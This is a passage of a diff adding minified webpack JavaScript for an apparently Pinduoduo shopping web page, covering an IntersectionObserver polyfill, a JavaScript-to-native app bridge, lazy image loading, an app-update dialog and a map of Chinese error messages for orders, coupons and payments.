r(e) { + this.time = e.time, + this.target = e.target, + this.rootBounds = e.rootBounds, + this.boundingClientRect = e.boundingClientRect, + this.intersectionRect = e.intersectionRect || { + top: 0, + bottom: 0, + left: 0, + right: 0, + width: 0, + height: 0 + }, + this.isIntersecting = !!e.intersectionRect; + var t = this.boundingClientRect, + n = t.width * t.height, + r = this.intersectionRect, + a = r.width * r.height; + this.intersectionRatio = n ? a / n : this.isIntersecting ? 1 : 0 + } + + function a(e, t) { + var n = t || {}; + if (""function"" != typeof e) + throw new Error(""callback must be a function""); + if (n.root && 1 != n.root.nodeType) + throw new Error(""root must be an Element""); + this._checkForIntersections = function(e, t) { + var n = null; + return function() { + n || (n = setTimeout(function() { + e(), + n = null + }, t)) + } + }(this._checkForIntersections.bind(this), this.THROTTLE_TIMEOUT), + this._callback = e, + this._observationTargets = [], + this._queuedEntries = [], + this._rootMarginValues = this._parseRootMargin(n.rootMargin), + this.thresholds = this._initThresholds(n.threshold), + this.root = n.root || null, + this.rootMargin = this._rootMarginValues.map(function(e) { + return e.value + e.unit + }).join("" "") + } + + function i(e, t, n, r) { + ""function"" == typeof e.addEventListener ? e.addEventListener(t, n, r || !1) : ""function"" == typeof e.attachEvent && e.attachEvent(""on"" + t, n) + } + + function o(e, t, n, r) { + ""function"" == typeof e.removeEventListener ? e.removeEventListener(t, n, r || !1) : ""function"" == typeof e.detatchEvent && e.detatchEvent(""on"" + t, n) + } + + function s(e, t) { + var n = Math.max(e.top, t.top), + r = Math.min(e.bottom, t.bottom), + a = Math.max(e.left, t.left), + i = Math.min(e.right, t.right), + o = i - a, + s = r - n; + return o >= 0 && s >= 0 && { + top: n, + bottom: r, + left: a, + right: i, + width: o, + height: s + } + } + + function c(e) { + var t; + try { + t = e.getBoundingClientRect() + } catch (e) {} + return t ? (t.width && t.height || (t = { + top: t.top, + right: t.right, + bottom: t.bottom, + left: t.left, + width: t.right - t.left, + height: t.bottom - t.top + }), + t) : { + top: 0, + bottom: 0, + left: 0, + right: 0, + width: 0, + height: 0 + } + } + + function u(e, t) { + for (var n = t; n;) { + if (n == e) + return !0; + n = l(n) + } + return !1 + } + + function l(e) { + var t = e.parentNode; + return t && 11 == t.nodeType && t.host ? t.host : t + } + }(window, document) + }, + kk8N: function(e, t, n) { + ""use strict""; + var r = n(""cDf5""), + a = n.n(r), + i = {}; + i = function() { + if (window.pinbridge) + return window.pinbridge; + var e = 0, + t = {}; + return { + check: function(e, t, n, r) { + e && t || n && n(!1), + this.callNative(""AMBridgeAPI"", ""check"", { + module_name: e, + method_name: t + }, function(e) { + n && n(e && e.exist) + }, function() { + r ? r() : n && n(!1) + }) + }, + callNativeImpl: window._fastJsN ? function(e, t, n, r) { + var a = ""function"" == typeof window._fastJsN.callNative && window._fastJsN.callNative(e, t, n ? JSON.stringify(n) : null, r); + return (a = a ? JSON.parse(a) : null) && a.hasOwnProperty(""errorCode"") && (this.callback(a.callID, a.errorCode, a.data), + this.removeCallback(a.callID)), + a + } : function(e, t, n, r) { + var a = ""pinbridge:///request?t="" + e + ""&m="" + t + ""&p="" + encodeURIComponent(JSON.stringify(n)) + ""&c="" + r; + ""undefined"" != typeof pinbridgeex ? alert(a) : this.loadURL(a, t) + }, + callNative: function(n, r, i, o, s) { + i = i || {}; + var c = ++e; + return t[c] = { + onSuccess: o, + onError: s + }, + i = function n(r) { + if (""object"" !== a()(r)) + return r; + var i = {}; + for (var o in ""[object Array]"" === Object.prototype.toString.call(r) && (i = []), + r) + if (r.hasOwnProperty(o)) { + var s = r[o]; + if (""function"" == typeof s) { + var c = ++e; + t[c] = { + func: s + }, + i[o] = ""__aimi_function_"" + c + } else + ""object"" === a()(s) && null !== s ? i[o] = n(s) : i[o] = s + } + return i + }(i), + this.callNativeImpl(n, r, i, c) + }, + loadURL: function(e, t) { + if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.hybridAPIMessageHandler) + window.webkit.messageHandlers.hybridAPIMessageHandler.postMessage({ + url: e + }); + else { + if (null != (navigator.userAgent || navigator.vendor || window.opera).match(/phh_android_version/i)) + return void alert(e); + var n = document.createElement(""iframe""); + n.setAttribute(""src"", e), + n.setAttribute(""style"", ""display:none;""), + n.setAttribute(""height"", ""0px""), + n.setAttribute(""width"", ""0px""), + n.setAttribute(""frameborder"", ""0""), + document.body.appendChild(n), + n.parentNode.removeChild(n), + n = null + } + }, + callback: function(e, n, r) { + r = r || {}; + var a = t[e]; + a && (a.func ? a.func(n, r) : 0 === n && a.onSuccess ? a.onSuccess(r) : 0 !== n && a.onError && a.onError(r, n)) + }, + callbackFromNative: function(e, t, n) { + this.callback(e, t, n) + }, + removeCallback: function(e) { + delete t[e] + }, + decodeFunctions: function(e) { + if (""object"" === a()(e)) { + var t = this; + for (var n in e) + if (e.hasOwnProperty(n)) { + var r = e[n]; + if (""string"" == typeof r && 0 === r.indexOf(""__aimi_function_"")) { + var i = r.substring(""__aimi_function_"".length).split(""_""); + 3 === i.length && function() { + var r = parseInt(i[0]), + a = parseInt(i[1]), + o = parseInt(i[2]); + isNaN(r) || isNaN(a) || isNaN(o) || (e[n] = function(e, n) { + t.callNative(""AMBridgeAPI"", ""callback"", { + bridge_id: a, + context_id: o, + call_id: r, + error_code: e, + response: n + }) + }) + }() + } else + ""object"" === a()(r) && t.decodeFunctions(r) + } + } + } + } + }(), + window.pinbridge = i, + t.a = i + }, + m3Hr: function(e, t, n) { + ""use strict""; + var r, a = n(""pVnL""), + i = n.n(a), + o = n(""QILm""), + s = n.n(o), + c = n(""lwsE""), + u = n.n(c), + l = n(""W8MJ""), + p = n.n(l), + d = n(""a1gu""), + h = n.n(d), + f = n(""Nsbk""), + m = n.n(f), + g = n(""7W2i""), + v = n.n(g), + _ = n(""q1tI""), + b = n.n(_), + y = (n(""17x9""), + n(""hCBO"")), + w = n(""yt/x""), + S = n(""003K""); + n(""yT0K""); + n.d(t, ""a"", function() { + return C + }); + var C = function(e) { + function t() { + var e, n; + u()(this, t); + for (var r = arguments.length, a = new Array(r), i = 0; i < r; i++) + a[i] = arguments[i]; + return (n = h()(this, (e = m()(t)).call.apply(e, [this].concat(a)))).myRef = b.a.createRef(), + n + } + return v()(t, e), + p()(t, [{ + key: ""componentDidMount"", + value: function() { + this._startLazyLoad() + } + }, { + key: ""componentDidUpdate"", + value: function() { + this._startLazyLoad() + } + }, { + key: ""_startLazyLoad"", + value: function() { + var e = this.props.src; + this._lastSrc !== e && this.lazyLoader && (this.lazyLoader.start({ + el: this.myRef.current, + src: e + }), + this._lastSrc = e) + } + }, { + key: ""render"", + value: function() { + var e = this.props, + t = (e.src, + e.className), + n = void 0 === t ? """" : t, + r = s()(e, [""src"", ""className""]); + return b.a.createElement(""img"", i()({ + ref: this.myRef + }, r, { + className: """".concat(y.a.IMAGE, "" "").concat(n) + })) + } + }, { + key: ""lazyLoader"", + get: function() { + return Object(w.c)(this.context) ? this.context : (r || (r = new S.a), + r) + } + }]), + t + }(b.a.Component); + C.contextType = w.a + }, + ""mG/U"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return r + }), + n.d(t, ""b"", function() { + return a + }); + var r = { + AUTHENTICATION_FAILED: 40001, + API_SERVICE_BUSY: 40002, + GRAPHICAL_CODE_FOR_PHONE_CODE: 40017, + LOGIN_FAILED: 40020, + ITEM_REMOVED: 41002, + OUT_OF_STOCK: 41003, + NOT_IN_LUCKY_TIME: 41005, + ADDRESS_UNREACHABLE: 41006, + UPDATE_USER_PROFILE_FORBIDDEN: 43035, + NO_COUPON_LEFT: 44010, + COUPON_TAKEN: 44011, + COUPON_TAKE_FAILED: 44012, + COUPON_TAKEN_OUT: 44026, + PERSONAL_INFO_NO_ID: 45007, + ORDER_PAYED: 45008, + NEED_VERFICATION: 45054, + GROUP_INVALID: 46001, + GROUP_FAILED: 42003, + OVER_BUY_LIMIT: 42004, + GROUP_OVERFLOW: 42005, + GROUP_AUTO_OPEN_FAILED: 42006, + GROUP_AUTO_OPEN_SUCCESS: 42007, + ID_CARD_EMPTY: 43004, + NO_NAME_ID_BEFORE: 43006, + ID_CARD_FAKE: 43008, + ID_CARD_FAIL_TOO_MUCH: 43009, + INSUFFICIENT_COUPON: 44047, + AVAILABLE_COUPONS_PER_UNIT: 44201, + NO_SUCH_ORDER: 45001, + PREPAY_BUSY: 45009, + ORDER_PAYING: 45010, + PAYMENT_DISABLED: 45210, + SPIKE_COMING: 45034, + ORDER_PAY_RISK: 45206, + ORDER_PAY_VERIFICATION_INVALID: 45207, + ORDER_ALREADY_URGED: 47030, + ORDER_URGE_ERROR: 47031, + NATIVE_NORMAL_ERROR: 6e4, + NATIVE_PARAMS_ERROR: 60003, + NATIVE_USER_REFUSE: 60005, + NATIVE_USER_CANCEL: 60006, + NATIVE_AUDIO_RECORD_FAILED: 60200, + NATIVE_AUDIO_RECORD_UNDETERMINED: 60201, + NATIVE_AUDIO_TOO_SHORT: 60205, + NATIVE_AUDIO_UPLOAD_FAILED: 60210, + NATIVE_AUDIO_PLAY_FAILED: 60220, + SUCCESSIVE_MOBILE_FEE_ONLY_ONCE: 45036, + SUCCESSIVE_MOBILE_FEE_RISK: 45037, + SUCCESSIVE_MOBILE_FEE_UNSIGNED: 45038, + SUCCESSIVE_MOBILE_FEE_ONLY_WECHAT: 45039, + OVER_BUY_VIRTUAL_GOODS_LIMIT: 45033, + AVAILABLE_ACTIVITY_CHANGED: 45516, + GROUP_COMPLETED: 42001, + INVALID_ADDRESS: 43002, + COUPON_DAILY_LIMIT: 44037, + COUPON_BATCH_LIMIT: 44038, + COUPON_TOKEN_INVALID: 44041, + COUPON_TOKEN_EXPIRED: 44042, + COUPON_PUSH_NOT_IN: 44043, + COUPON_ACTIVITY_ABSENT: 44044, + MULTIPLY_DISCOUNT_PAUSE: 44064, + MULTIPLY_DISCOUNT_END: 44066, + COUPON_MAX_NUM_REACHED: 44200, + HISTORY_GROUP_OPEN_FAILED: 46014, + GOODS_NOT_EXIST: 49001, + RISK_CONTROL: 54001, + RISK_CONTROL_FORBIDDEN: 54003, + NATIVE_PAYMENT_CANCEL: 60006, + WITHOUT_WE_CHAT_CLIENT: 60100, + QQ_PAY_FAILED: 60120, + ORDER_LIMITED_SALES_END: 152004, + ORDER_LIMITED_SALES_OUT: 152006, + PAY_LIMITED_SALES_END: 47102, + PAY_LIMITED_SALES_OUT: 47003, + SERVER_BUSY: 4000004, + ORDER_SPIKE_MSG_ERROR: 4000006, + WX_DIRECT_PAY_WX_BALANCE_ERROR: 400001, + WX_DIRECT_PAY_CARD_BALANCE_ERROR: 400002, + WX_DIRECT_PAY_TELEPHONE_ERROR: 400003, + WX_DIRECT_PAY_CARD_INVALID_ERROR: 400004, + WX_DIRECT_PAY_REFUSED_ERROR: 400005, + WX_DIRECT_PAY_UNKNOWN_ERROR: 400099, + ACT_GROUP_NOT_EXISTS: 530001, + ACT_GROUP_FAILED: 530002, + ACT_GROUP_SUCCESS: 530003, + ACT_RECORD_NOT_EXISTS: 530004, + PAY_CHANNEL_NOT_SUPPORT: 530005, + ACT_RECORD_PAID: 530006, + ACT_RECORD_REFUND: 530007, + ASSIST_FOR_ONE_DAILY_LIMIT: 530011, + ASSIST_FOR_ONE_LIMIT: 530012, + ""1101_MSG"": ""手机网络繁忙,请稍后再试"", + ""30400_MSG"": ""没有安装QQ客户端"", + ""40000_MSG"": ""错误的请求地址或方法"", + ""40001_MSG"": ""登录已过期,请重新登录"", + ""40002_MSG"": ""手机网络繁忙,请稍后再试"", + ""40003_MSG"": ""错误的请求参数"", + ""40004_MSG"": ""微信登录失败"", + ""40005_MSG"": ""请求还在处理中"", + ""40006_MSG"": ""手机登录验证码错误"", + ""40015_MSG"": ""验证码重复请求"", + ""40016_MSG"": ""验证码超出当天限制"", + ""40017_MSG"": ""今日可发送次数已达上限"", + ""40018_MSG"": ""验证码填写错误"", + ""40019_MSG"": ""验证码填写超时"", + ""40020_MSG"": ""登录失败"", + ""40031_MSG"": ""微信登录失败!"", + ""40032_MSG"": ""QQ登录失败!"", + ""40033_MSG"": ""登录重试失败,请稍后再试"", + ""40100_MSG"": ""暂未开通该开放平台"", + ""41001_MSG"": ""商品不存在"", + ""41002_MSG"": ""商品已下架"", + ""41003_MSG"": ""商品已售罄"", + ""41004_MSG"": ""商品不在同一商店"", + ""41005_MSG"": ""该商品当前不在抽奖活动时间"", + ""41006_MSG"": ""商品不在可售区域"", + ""41101_MSG"": ""抽奖活动暂不支持单独购买"", + ""41102_MSG"": ""卡券可使用的时间已过期,请选购其他商品"", + ""42001_MSG"": ""拼单已满"", + ""42002_MSG"": ""该拼单不存在"", + ""42003_MSG"": ""拼单已过期"", + ""42004_MSG"": ""您购买此商品次数达到上限,去看看其他商品吧~"", + ""42005_MSG"": ""该商品开团数已达上限"", + ""42006_MSG"": ""拼单已满"", + ""42007_MSG"": ""此拼单已满,正在发起新拼单..."", + ""42501_MSG"": ""订单已成团,暂不支持修改收货地址,请与商家客服联系"", + ""42502_MSG"": ""该订单已拼单成功,请刷新页面"", + ""43001_MSG"": ""用户不存在"", + ""43002_MSG"": ""地址错误"", + ""43004_MSG"": ""身份证号不存在"", + ""43005_MSG"": ""姓名和身份证号不一致"", + ""43006_MSG"": ""对不起,您无法获取或更新身份证号"", + ""43007_MSG"": ""对不起,您已用完当前最大验证次数,请24小时后再试"", + ""43008_MSG"": ""姓名和身份证不匹配,请重新认证"", + ""43009_MSG"": ""您今日认证过于频繁,请明天再试"", + ""43010_MSG"": ""该地址已存在"", + ""43011_MSG"": ""该地址无法导入"", + ""43013_MSG"": ""一小时内不能重复提交"", + ""43015_MSG"": ""只允许微信用户够买"", + ""43016_MSG"": ""创建地址失败"", + ""43017_MSG"": ""最多只能添加100个收货地址哦~"", + ""43035_MSG"": ""系统维护中,暂时无法修改"", + ""43098_MSG"": ""您在店铺没有拼单成功记录,请勿发红包!拼多多不支持通过发红包购买商品!"", + ""43099_MSG"": ""该商品仅限新用户购买一件哦~"", + ""44001_MSG"": ""优惠券不存在"", + ""44002_MSG"": ""优惠券已使用"", + ""44003_MSG"": ""优惠券没有达到最小使用金额"", + ""44004_MSG"": ""优惠券已过期"", + ""44005_MSG"": ""优惠券不属于用户"", + ""44006_MSG"": ""优惠券已废弃"", + ""44007_MSG"": ""优惠券暂未到使用时间"", + ""44008_MSG"": ""优惠券不能在该分类使用"", + ""44010_MSG"": ""优惠券已经抢完了,下次早点来哦"", + ""44011_MSG"": ""您已经领过该优惠券"", + ""44012_MSG"": ""优惠券领取失败"", + ""44015_MSG"": ""不是团长不能使用团长免单优惠券"", + ""44016_MSG"": ""优惠券批次不存在"", + ""44020_MSG"": ""正在处理中,请稍后再试!"", + ""44026_MSG"": ""该券太火爆,全部已被领完"", + ""44027_MSG"": ""活动已结束!"", + ""44033_MSG"": ""优惠券使用失败"", + ""44035_MSG"": ""批次类型错误"", + ""44036_MSG"": ""团免券已被领完"", + ""44037_MSG"": ""用户已达团免券日领取上限"", + ""44038_MSG"": ""您已领取该券"", + ""44039_MSG"": ""未找到符合条件的团免券批次"", + ""44041_MSG"": ""领取失败"", + ""44042_MSG"": ""领取链接已失效,下次早点哦"", + ""44043_MSG"": ""不符合领取条件哦"", + ""44044_MSG"": ""该优惠券活动不存在"", + ""44045_MSG"": ""不在活动时间"", + ""44046_MSG"": ""只有无订单的新用户可领取哦"", + ""44047_MSG"": ""红包券数量不够"", + ""44061_MSG"": ""多件优惠活动结束"", + ""44063_MSG"": ""多件优惠已经享受过了"", + ""44064_MSG"": ""多件优惠活动暂未开始"", + ""44065_MSG"": ""多件优惠活动暂未开始"", + ""44066_MSG"": ""多件优惠活动结束"", + ""44067_MSG"": ""商家券和多件优惠活动不能同时使用"", + ""44072_MSG"": ""分享码已过期"", + ""44073_MSG"": ""免拼卡不足"", + ""44076_MSG"": ""不符合免拼卡的使用条件"", + ""44090_MSG"": ""商品活动未开始"", + ""44091_MSG"": ""商品活动已结束"", + ""44092_MSG"": ""商品活动不存在"", + ""44093_MSG"": ""活动商品已售罄"", + ""44095_MSG"": ""商品活动已结束"", + ""44096_MSG"": ""商品活动不存在"", + ""44097_MSG"": ""您购买的该活动商品数量已达上限"", + ""44098_MSG"": ""商品订单已创建"", + ""44099_MSG"": ""商品活动有误"", + ""44100_MSG"": ""您未获取抢购资格,不可购买该商品"", + ""44200_MSG"": ""已达红包使用数量上限"", + ""44201_MSG"": ""每满{0}元可用{1}个红包"", + ""45001_MSG"": ""订单不存在"", + ""45002_MSG"": ""订单不属于该用户"", + ""45003_MSG"": ""订单不能取消"", + ""45004_MSG"": ""订单商品不一致"", + ""45005_MSG"": ""订单已经收货"", + ""45006_MSG"": ""订单还未发货"", + ""45007_MSG"": ""海淘订单没有提交身份证"", + ""45008_MSG"": ""订单已支付"", + ""45009_MSG"": ""支付繁忙,请重试"", + ""45010_MSG"": ""订单正在支付中"", + ""45012_MSG"": ""手机充值号码为空"", + ""45013_MSG"": ""手机充值号码不支持"", + ""45014_MSG"": ""手机充值商品不存在"", + ""45015_MSG"": ""确认收货失败"", + ""45023_MSG"": ""正在处理您的退款/售后申诉,无法主动确认收货"", + ""45026_MSG"": ""超过购买商品限制"", + ""45030_MSG"": ""订单正在处理中,请刷新页面"", + ""45031_MSG"": ""单次购买金额不得高于9.5万元"", + ""45033_MSG"": ""超过每个手机号码购买次数限制"", + ""45034_MSG"": ""抱歉,秒杀尚未开始,请稍候"", + ""45035_MSG"": ""该商品为App新人专享秒杀,非首次下载App24小时内的用户无法发起拼单"", + ""45036_MSG"": ""每名用户只能购买一次哦"", + ""45037_MSG"": ""你的当前登录帐号有些风险哦,建议先直接去充值吧"", + ""45038_MSG"": ""包月套餐订单购买免密校验失败"", + ""45039_MSG"": ""包月套餐功能升级中,当前只支持微信帐号登录的用户哦"", + ""45040_MSG"": ""限购商品暂时无法购买哦~"", + ""45041_MSG"": ""本次活动期间已抢到过一张神券,不能再抢了~"", + ""45042_MSG"": ""手机网络繁忙,请稍后再试"", + ""45043_MSG"": ""该类型商品本次活动期间您已抢过,不能再抢了~"", + ""45044_MSG"": ""您好,该商品仅可购买一次哦~"", + ""45045_MSG"": ""该商品仅能在拼多多App中购买!"", + ""45046_MSG"": ""该商品仅允许微信登录用户购买!"", + ""45047_MSG"": ""超过该商品每次购买件数限制"", + ""45050_MSG"": ""您已经在本场下过单了,去看看其他商品吧~"", + ""45051_MSG"": ""已购买过此类优惠商品,看看其他商品吧"", + ""45052_MSG"": ""您最近购买此商品次数达到上限,去看看其他商品吧~"", + ""45053_MSG"": ""手机网络繁忙,请稍后再试"", + ""45054_MSG"": ""需验证码校验!"", + ""45055_MSG"": ""手机网络繁忙,请稍后再试"", + ""45104_MSG"": ""不是定金类型订单"", + ""45105_MSG"": ""订单已取消"", + ""45106_MSG"": ""订单已确认"", + ""45107_MSG"": ""定金未成团"", + ""45110_MSG"": ""未到尾款支付时间"", + ""45111_MSG"": ""超过尾款支付时间"", + ""45112_MSG"": ""未到定金支付时间"", + ""45113_MSG"": ""超过定金支付时间"", + ""45206_MSG"": ""创建订单存在风险"", + ""45207_MSG"": ""创建订单验证码非法"", + ""45208_MSG"": ""价格有变动,请返回上一页查看"", + ""45209_MSG"": ""请更换支付方式,花呗分期暂不可用"", + ""45210_MSG"": ""手机网络繁忙,请稍后再试"", + ""45301_MSG"": ""店铺补差价金额达到上限!"", + ""45320_MSG"": ""未获取活动资格!"", + ""45321_MSG"": ""该活动必须是微信APP用户参加!"", + ""45322_MSG"": ""该活动同一用户不可重复参加!"", + ""45323_MSG"": ""该活动同一设备不可重复参加!"", + ""45324_MSG"": ""该活动用户微信置信度较低!"", + ""45325_MSG"": ""非APP新用户"", + ""45326_MSG"": ""手机网络繁忙,请稍后再试"", + ""45327_MSG"": ""账户存在风险,无法下单"", + ""45402_MSG"": ""该商品秒杀活动已结束"", + ""45403_MSG"": ""该商品免单活动已结束"", + ""45404_MSG"": ""该商品买二送一活动已结束"", + ""45405_MSG"": ""该商品秒杀活动已结束"", + ""45406_MSG"": ""该活动已结束"", + ""45407_MSG"": ""该活动已结束"", + ""45412_MSG"": ""该商品多件优惠活动已结束"", + ""45413_MSG"": ""该商品限时免单活动已结"", + ""45416_MSG"": ""该商品优惠活动已结束"", + ""45417_MSG"": ""该活动已结束"", + ""45418_MSG"": ""该优惠商品已被抢空"", + ""45420_MSG"": ""该活动已结束"", + ""45422_MSG"": ""该活动已结束"", + ""45423_MSG"": ""该活动已结束"", + ""45424_MSG"": ""该包月活动已结束"", + ""45425_MSG"": ""您向商家补的差价已经超过上限"", + ""45428_MSG"": ""该商品属于活动商品,无法正常购买"", + ""45429_MSG"": ""该地区暂时无货"", + ""45450_MSG"": ""此海淘商品仅支持微信支付"", + ""45500_MSG"": ""商品信息和充值号码不匹配"", + ""45501_MSG"": ""新地址暂不支持,请重新选择"", + ""45511_MSG"": ""您不是专属用户,不能以特惠价开团哦~"", + ""45514_MSG"": ""库存不足"", + ""45515_MSG"": ""低于最低起售件数"", + ""45516_MSG"": ""该商品有更低价的优惠活动,请刷新购买"", + ""46001_MSG"": ""团订单不存在"", + ""46002_MSG"": ""无法重复参团"", + ""46012_MSG"": ""商品售罄,免拼失败,拼单到期后将退款"", + ""46013_MSG"": ""秒杀活动结束,免拼失败,拼单到期后将退款"", + ""46014_MSG"": ""插队拼单已满"", + ""47003_MSG"": ""限量件数已被抢光,请重新选购"", + ""47010_MSG"": ""折扣活动检查失败"", + ""47011_MSG"": ""限时折扣活动已经使用"", + ""47012_MSG"": ""限时折扣活动未开启"", + ""47013_MSG"": ""限时折扣活动未到开始时间"", + ""47014_MSG"": ""限时折扣活动已经结束"", + ""47015_MSG"": ""商家券和限时折扣活动不能同时使用"", + ""47030_MSG"": ""已经催过了,正在尽快发货"", + ""47031_MSG"": ""催发货请求异常,请稍后重试"", + ""47101_MSG"": ""支付失败,限时折扣活动已结束"", + ""47102_MSG"": ""支付失败,限量折扣活动已结束,请重新购买"", + ""48001_MSG"": ""图片格式错误"", + ""48002_MSG"": ""图片大小超过限制"", + ""49001_MSG"": ""商品不存在"", + ""50000_MSG"": ""当前访问人数较多,请稍后再试"", + ""50001_MSG"": ""今天票数已用完,明天再来吧"", + ""50002_MSG"": ""当前有未完成的团"", + ""54001_MSG"": ""该账户需要安全验证"", + ""54003_MSG"": ""该账户安全验证未通过,暂时无法登录"", + ""60000_MSG"": """", + ""60001_MSG"": ""该团已经结束"", + ""60002_MSG"": ""确认收货失败"", + ""60003_MSG"": ""参数错误"", + ""60004_MSG"": ""您已退款成功,无须确认收货"", + ""60005_MSG"": ""用户拒绝"", + ""60006_MSG"": ""用户取消"", + ""60007_MSG"": ""确认收货失败,请稍后重试"", + ""60100_MSG"": ""未安装微信客户端"", + ""60110_MSG"": ""未安装微博客户端"", + ""60120_MSG"": ""未安装手机QQ"", + ""60200_MSG"": ""录制失败"", + ""60201_MSG"": ""录音没有权限"", + ""60205_MSG"": ""录音时间过短"", + ""60210_MSG"": ""上传失败"", + ""60220_MSG"": ""播放失败"", + ""71001_MSG"": ""获取售后列表失败"", + ""71002_MSG"": ""申请售后失败"", + ""71003_MSG"": ""获取售后单详情失败"", + ""71004_MSG"": ""售后单添加售后信息失败"", + ""71005_MSG"": ""售后单修改失败"", + ""71006_MSG"": ""撤销售后失败"", + ""71007_MSG"": ""售后单用户确认发货失败"", + ""71008_MSG"": ""售后单重新申请失败"", + ""71009_MSG"": ""售后单申请平台介入失败"", + ""71010_MSG"": ""钱款去向查询失败"", + ""71011_MSG"": ""留言标记失败"", + ""71012_MSG"": ""售后用户待处理未读数量获取失败"", + ""71013_MSG"": ""售后未读留言数目获取失败"", + ""71014_MSG"": ""获取付款类型失败"", + ""71015_MSG"": ""获取售后原因失败"", + ""71016_MSG"": ""获取我要发货列表失败"", + ""71017_MSG"": ""获取是否使用平台优惠券失败"", + ""71018_MSG"": ""售后单用户确认完成失败"", + ""71019_MSG"": ""获取小额打款详情失败"", + ""71020_MSG"": ""填写账户信息失败"", + ""80001_MSG"": ""投票活动已结束"", + ""144073_MSG"": ""您没有免拼卡,请返回重新下单"", + ""144076_MSG"": ""不符合免拼卡的使用条件"", + ""144078_MSG"": ""请求失败,请重新发起支付"", + ""152001_MSG"": ""限量折扣活动已经使用"", + ""152002_MSG"": ""限量折扣活动未开启"", + ""152003_MSG"": ""限量折扣活动未到开始时间"", + ""152004_MSG"": ""限量折扣活动已经结束"", + ""152005_MSG"": ""商家券和限量折扣活动不能同时使用"", + ""152006_MSG"": ""限量件数已被抢光,请重新选购"", + ""152010_MSG"": ""已达到该商品活动期内的最多购买件数,不能再抢了~"", + ""400001_MSG"": ""微信零钱不足,且未绑定银行卡,请绑定银行卡再试,或邀请好友代付"", + ""400002_MSG"": ""银行卡余额不足,请绑定其他银行卡再试,或邀请好友代付"", + ""400003_MSG"": ""银行卡预留手机号不符,请核对后再试,或邀请好友代付"", + ""400004_MSG"": ""银行卡已失效,请核对后再试,或邀请好友代付"", + ""400005_MSG"": ""银行拒绝交易,请核对后再试,或邀请好友代付"", + ""400099_MSG"": ""支付未完成,请更换支付方式"", + ""450130_MSG"": ""商品信息和充值号码不匹配"", + ""450131_MSG"": ""该商品每个号码每月限充一次"", + ""530001_MSG"": ""团不存在"", + ""530002_MSG"": ""团已失效"", + ""530003_MSG"": ""团已满"", + ""530004_MSG"": ""助力单不存在"", + ""530005_MSG"": ""不支持该支付方式"", + ""530006_MSG"": ""助力单已支付"", + ""530007_MSG"": ""助力单已退款"", + ""530008_MSG"": ""不在活动时间"", + ""530009_MSG"": ""您已经拿过该商品了,不要贪心哦"", + ""530010_MSG"": ""已达到今日帮忙付款次数上限,明日再来吧"", + ""530011_MSG"": ""已达到今日帮助该好友次数上限,明日再来吧~"", + ""530012_MSG"": ""已经达到帮助该好友支付次数上限,赶紧去帮助其他人吧~"", + ""530013_MSG"": ""不符合免费帮忙条件"", + ""530014_MSG"": ""您不是拼多多App新人,不能开团哦"", + ""3000001_MSG"": ""充值失败,请稍后重试"", + ""3000002_MSG"": ""话费充值失败,请稍后重试"", + ""3000003_MSG"": ""话费充值下单失败,请稍后重试"", + ""4000004_MSG"": ""手机网络繁忙,请稍后再试"", + ""4000005_MSG"": ""手机网络繁忙,请稍后再试"", + ""4000006_MSG"": """", + ""12960005_MSG"": ""商品不存在"", + ""12960006_MSG"": ""活动未开始"", + ""12960007_MSG"": ""商品已售罄"", + ""12960008_MSG"": ""拼单人数已满"", + ""12960009_MSG"": ""只有App新人才能参团哦"", + ""12960010_MSG"": ""帐号信息异常"", + ""12960012_MSG"": ""该商品一次只能购买1件哦"", + ""12960014_MSG"": ""请使用微信登录再下单"", + ""12960016_MSG"": ""你已经开过团了,请勿重复开团"", + ""12960017_MSG"": ""今日开团次数已用完,明天再来吧"", + ""12960018_MSG"": ""今日参团次数已用完,明天再来吧"", + ""12960019_MSG"": ""该商品你今日已经参过团了"", + ""20504005_MSG"": ""手机网络繁忙,请稍后再试"", + ""20504101_MSG"": ""团订单不存在"" + }, + a = function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : """"; + return r["""".concat(e, ""_MSG"")] || t + } + }, + mKPX: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this; + this.props.title && (e = f.a.createElement(""p"", { + className: ""title"" + }, this.props.title)); + var n = []; + return this.props.desc && this.props.desc.forEach(function(e, t) { + n.push(f.a.createElement(""p"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"" + }, f.a.createElement(""div"", { + id: ""confirm-app-download"", + className: ""confirm-app-update"" + }, f.a.createElement(""div"", { + className: ""detail"" + }, e, n, f.a.createElement(""div"", { + className: ""buttons"" + }, f.a.createElement(""div"", { + className: ""cancel-button"", + onClick: function(e) { + t.clickCancel(e) + } + }, this.props.cancel), f.a.createElement(""div"", { + className: ""confirm-button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, this.props.confirm))))) + } + }]), + t + }(n(""+zrp"").a); + m.defaultProps = { + desc: [""你安装的拼多多App版本过低,请更新后分享这个团""], + confirm: ""前往更新"", + cancel: ""取消"" + }, + t.default = m + }, + mKaX: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, "".modal-popup-backdrop {\n background-color: rgba(0, 0, 0, 0.8);\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n z-index: -1;\n}"", """"]) + }, + ""mj+i"": function(e, t, n) { + ""use strict""; + n.d(t, ""d"", function() { + return i + }), + n.d(t, ""b"", function() { + return o + }), + n.d(t, ""e"", function() { + return s + }), + n.d(t, ""c"", function() { + return c + }), + n.d(t, ""a"", function() { + return u + }), + n.d(t, ""f"", function() { + return l + }), + n.d(t, ""g"", function() { + return p + }); + var r = n(""J4zp""), + a = n.n(r); + + function i(e) { + return /^[a-z][a-z\d+.-]*:/.test(e) + } + + function o(e) { + return Object.entries(e).reduce(function(e, t) { + var n = a()(t, 2), + r = n[0], + i = n[1]; + return null == i ? e : e + ""&"" + encodeURIComponent(r) + ""="" + encodeURIComponent(String(i)) + }, """").slice(1) + } + + function s(e) { + return (e = ""?"" === e[0] ? e.slice(1) : e).split(""&"").reduce(function(e, t) { + if (t) { + var n = 